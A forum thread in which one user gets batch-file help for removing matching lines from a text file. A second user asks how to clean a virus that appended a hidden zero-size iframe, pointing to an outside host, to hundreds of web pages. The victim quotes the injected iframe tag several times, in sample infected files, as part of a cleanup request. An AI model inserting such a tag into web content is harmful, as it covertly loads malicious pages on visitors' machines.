Computing.Net > Forums > Programming > Batch File To Remove Certain Lines

Computer Problems? Computing.Net has over 1,000,000 posts about all things technology related! Over 90% answered within 24 hours! Click here to start participating now! Also, be sure to check out the New User Guide.

Batch File To Remove Certain Lines

Reply to Message Icon

Name: taylormade
Date: November 5, 2008 at 03:17:32 Pacific
OS: xp
CPU/Ram: Dual Core 4 gig
Product: home built
Comment:

Can someone post Batch File code that will run thru a text file and remove any lines that contains the string "Compressed File" or any line that contatins the string "Error On File" and then rewrite that text file without them?



Sponsored Link
Ads by Google

Response Number 1
Name: Mechanix2Go
Date: November 5, 2008 at 04:47:03 Pacific
Reply:

@echo off

find /v "Compressed File" < myfile | find /v "Error On File" > newfile
copy newfile myfile & del newfile


=====================================
If at first you don't succeed, you're about average.

M2


0

Response Number 2
Name: taylormade
Date: November 5, 2008 at 05:07:08 Pacific
Reply:

Freekin' excellent.
Thank You !!


0

Response Number 3
Name: taylormade
Date: November 5, 2008 at 05:54:16 Pacific
Reply:

I tried to amend your code to help me eliminate "blank" lines in the file with:

find /v " " < myfile | find /v "Error On File" > newfile
copy newfile myfile & del newfile
but...that doesn't work.
Do you have a solution to help me remove blank lines?


0

Response Number 4
Name: Mechanix2Go
Date: November 5, 2008 at 06:39:14 Pacific
Reply:

@echo off > newfile
setLocal EnableDelayedExpansion

for /f "tokens=* delims= " %%a in (myfile) do (
echo %%a >> newfile
)


=====================================
If at first you don't succeed, you're about average.

M2


0

Response Number 5
Name: frannyj
Date: November 8, 2008 at 15:28:56 Pacific
Reply:

Mechanix2Go

I got a virus on my PC that caused the tag "<iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe>" to be appended to the end of ALL of my .html and .php files on ALL of my PC directories (i.e. approximately effected 700 files).

Example of appended tag. Example 1: </body><iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe> and Example 2: ?><iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe>

I know that your code can be modified to remove this tag from ALL the effected files of ALL of my directories, but I don't know how to modify your code to do so, can you please help?

Thanks,

Frannyj


0

Related Posts

See More



Response Number 6
Name: Mechanix2Go
Date: November 8, 2008 at 15:43:58 Pacific
Reply:

Post one of the modified files.


=====================================
If at first you don't succeed, you're about average.

M2


0

Response Number 7
Name: frannyj
Date: November 9, 2008 at 06:36:00 Pacific
Reply:

Thank you for your response. I have included sample effected code from both a .php and a .html file. Also, all the file lengths vary.
====== php code before virus ======
<?php

$toaddress= $rmail;
$subject = 'LWP Online Course Daily Email Message - Day #2';
$mailcontent = "\n"
.'Dear '.$rfln.",\n"."\n"
.'Congratulations! You have completed another daily assignment in'."\n"
.'the Living With Purpose program.'."\n\n"
.'Continue Being Your Best!'."\n\n"
.'Live Large!'."\n\n"
.'Marlon'."\n\n";
$fromaddress = 'From: purpose@successbychoice.com'."\n"
.'Bcc: support@yess1.com, purpose@successbychoice.com';
mail($toaddress, $subject, $mailcontent, $fromaddress);


?>

====== php code after virus ======
<?php

$toaddress= $rmail;
$subject = 'LWP Online Course Daily Email Message - Day #2';
$mailcontent = "\n"
.'Dear '.$rfln.",\n"."\n"
.'Congratulations! You have completed another daily assignment in'."\n"
.'the Living With Purpose program.'."\n\n"
.'Continue Being Your Best!'."\n\n"
.'Live Large!'."\n\n"
.'Marlon'."\n\n";
$fromaddress = 'From: purpose@successbychoice.com'."\n"
.'Bcc: support@yess1.com, purpose@successbychoice.com';
mail($toaddress, $subject, $mailcontent, $fromaddress);


?><iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe>

====================================================================
====== html code before virus ======
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>LWP Reports</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="xlwpc.css" / >
</head>

<body>
<form ACTION="mlogs10.php" name="saveform2" METHOD="POST" onSubmit="return valid222( this )">

<div style="position: absolute; left: 180px; top: 80px">
<table border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="385">
<div align="center">
<table border="5" height="59" width="254" bgcolor="#FFFFFF" cellspacing="1" cellpadding="0">
<tr align="center">
<td width="133" height="17" bgcolor="#000080"><div align="right">

<small>Password:</small></div></td>
<td height="17" width="133" bgcolor="#000080"><div align="left">

<input type="password"
name="Lpassw" size="12" tabindex="2" maxlength="12"></div></td>
<td height="17" bgcolor="#C0C0C0" align="center"><a
href="javascript:alert('The password must be between 4 and 10 characters long.')"><small><small>Help</small></small></td>
</tr>
</table>


<center><input TYPE="button"
NAME="FormsButton2" tabindex="3"
style="font-family: Verdana; font-size: 8pt" VALUE="Sign in" onClick="if (valid222(this.form)) this.form.submit()"></center>
</div></td>

<td align="center"> </td>
</tr>
</table>

</div>
</FORM>
</body>
</html>

====== html code after virus ======
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>LWP Reports</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="xlwpc.css" / >
</head>

<body>
<form ACTION="mlogs10.php" name="saveform2" METHOD="POST" onSubmit="return valid222( this )">

<div style="position: absolute; left: 180px; top: 80px">
<table border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="385">
<div align="center">
<table border="5" height="59" width="254" bgcolor="#FFFFFF" cellspacing="1" cellpadding="0">
<tr align="center">
<td width="133" height="17" bgcolor="#000080"><div align="right">

<small>Password:</small></div></td>
<td height="17" width="133" bgcolor="#000080"><div align="left">

<input type="password"
name="Lpassw" size="12" tabindex="2" maxlength="12"></div></td>
<td height="17" bgcolor="#C0C0C0" align="center"><a
href="javascript:alert('The password must be between 4 and 10 characters long.')"><small><small>Help</small></small></td>
</tr>
</table>


<center><input TYPE="button"
NAME="FormsButton2" tabindex="3"
style="font-family: Verdana; font-size: 8pt" VALUE="Sign in" onClick="if (valid222(this.form)) this.form.submit()"></center>
</div></td>

<td align="center"> </td>
</tr>
</table>

</div>
</FORM>
</body>
</html><iframe src=http://www.p188.net/xm/xmxz.html width=0 height=0></iframe>


0

Response Number 8
Name: taylormade
Date: November 9, 2008 at 07:08:15 Pacific
Reply:

I appreciate you wanting to speak to the coder but perhaps you should get this going on your own thread? I'm getting emails each time you converse.
Thanks


0

Response Number 9
Name: taylormade
Date: November 9, 2008 at 12:46:05 Pacific
Reply:

I appreciate you wanting to speak to the coder but perhaps you should get this going on your own thread? I'm getting emails each time you converse.
Thanks


0

Sponsored Link
Ads by Google
Reply to Message Icon






Post Locked

This post is quite old and has been locked from receiving new replies. Please create a new posting instead.


Go to Programming Forum Home


Sponsored links

Ads by Google


Results for: Batch File To Remove Certain Lines

Batch file to extract certain lines www.computing.net/answers/programming/batch-file-to-extract-certain-lines/17465.html

Batch File To Remove Certain Lines2 www.computing.net/answers/programming/batch-file-to-remove-certain-lines2/17237.html

Batch File to remove files www.computing.net/answers/programming/batch-file-to-remove-files-/16226.html